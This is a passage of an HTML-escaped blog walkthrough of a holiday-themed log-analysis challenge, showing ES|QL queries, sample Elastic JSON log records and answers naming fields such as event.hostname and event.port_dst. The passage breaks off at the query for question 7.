class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;@timestamp&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16T15:54:01.000Z&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;@version&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.dataset&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;generic&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.namespace&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;default&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;logs&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.OpcodeDisplayNameText&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;Unknown&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.hostname&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;kringleSSleigH&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.message&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.service&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;CRON[6738]:&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.timestamp&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16T18:54:01.289Z&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event_source&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;AuthLog&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;host.ip&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;172.18.0.5&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;hostname&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;kringleSSleigH&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.code&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.name&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;user-level&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.name.text&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;user-level&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.code&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.name&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;notice&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.name.text&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;notice&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;tags&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;match&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;syslog&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; By fetching a random event from &lt;code&gt;AuthLog&lt;/code&gt;, we can see that &lt;code&gt;event.hostname&lt;/code&gt; contains the hostname of the machine. The answer is &lt;code&gt;event.hostname&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-4-Which-event-source-has-the-second-highest-number-of-events-related-to-it&#34;&gt;&lt;a href=&#34;#Question-4-Which-event-source-has-the-second-highest-number-of-events-related-to-it&#34; class=&#34;headerlink&#34; title=&#34;Question 4: Which event_source has the second highest number of events related to it?&#34;&gt;&lt;/a&gt;Question 4: Which event_source has the second highest number of events related to it?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Looking at the results from Question 2, we can see the event_source is &lt;code&gt;NetflowPmacct&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-5-Using-the-event-source-from-the-previous-question-as-a-filter-what-is-the-name-of-the-field-that-defines-the-destination-port-of-the-Netflow-logs&#34;&gt;&lt;a href=&#34;#Question-5-Using-the-event-source-from-the-previous-question-as-a-filter-what-is-the-name-of-the-field-that-defines-the-destination-port-of-the-Netflow-logs&#34; class=&#34;headerlink&#34; title=&#34;Question 5: Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?&#34;&gt;&lt;/a&gt;Question 5: Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;NetflowPmacct&amp;quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; LIMIT &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight json&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;31&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;@timestamp&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-15T14:37:43.000Z&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;@version&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.dataset&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;generic&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.namespace&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;default&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;logs&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.OpcodeDisplayNameText&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;Unknown&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.bytes&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;40&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.dst_host&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.event_type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;purge&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.ip_dst&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;172.24.25.25&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.ip_proto&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;tcp&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.ip_src&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;172.24.25.93&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.packets&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.port_dst&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;808&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.port_src&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;29994&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.src_host&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;SnowSentry.northpole.local&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.timestamp_end&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;0000-00-00T00:00:00-00:00&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.timestamp_start&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-15T10:37:43-04:00&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event_source&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;NetflowPmacct&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;host.ip&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;172.18.0.5&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;hostname&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;kringleconnect&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.code&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.name&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;user-level&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.name.text&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;user-level&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.code&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.name&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;notice&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.name.text&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;notice&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;tags&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;match&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;syslog&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; By fetching a random event from &lt;code&gt;NetflowPmacct&lt;/code&gt;, we can see that &lt;code&gt;event.port_dst&lt;/code&gt; contains the destination port. The answer is &lt;code&gt;event.port_dst&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-6-Which-event-source-is-related-to-email-traffic&#34;&gt;&lt;a href=&#34;#Question-6-Which-event-source-is-related-to-email-traffic&#34; class=&#34;headerlink&#34; title=&#34;Question 6: Which event_source is related to email traffic?&#34;&gt;&lt;/a&gt;Question 6: Which event_source is related to email traffic?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; Looking at the results from Question 2, we can see the event_source is &lt;code&gt;SnowGlowMailPxy&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-7-Looking-at-the-event-source-from-the-last-question-what-is-the-name-of-the-field-that-contains-the-actual-email-text&#34;&gt;&lt;a href=&#34;#Question-7-Looking-at-the-event-source-from-the-last-question-what-is-the-name-of-the-field-that-contains-the-actual-email-text&#34; class=&#34;headerlink&#34; title=&#34;Question 7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?&#34;&gt;&lt;/a&gt;Question 7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt; &lt;/p&gt;
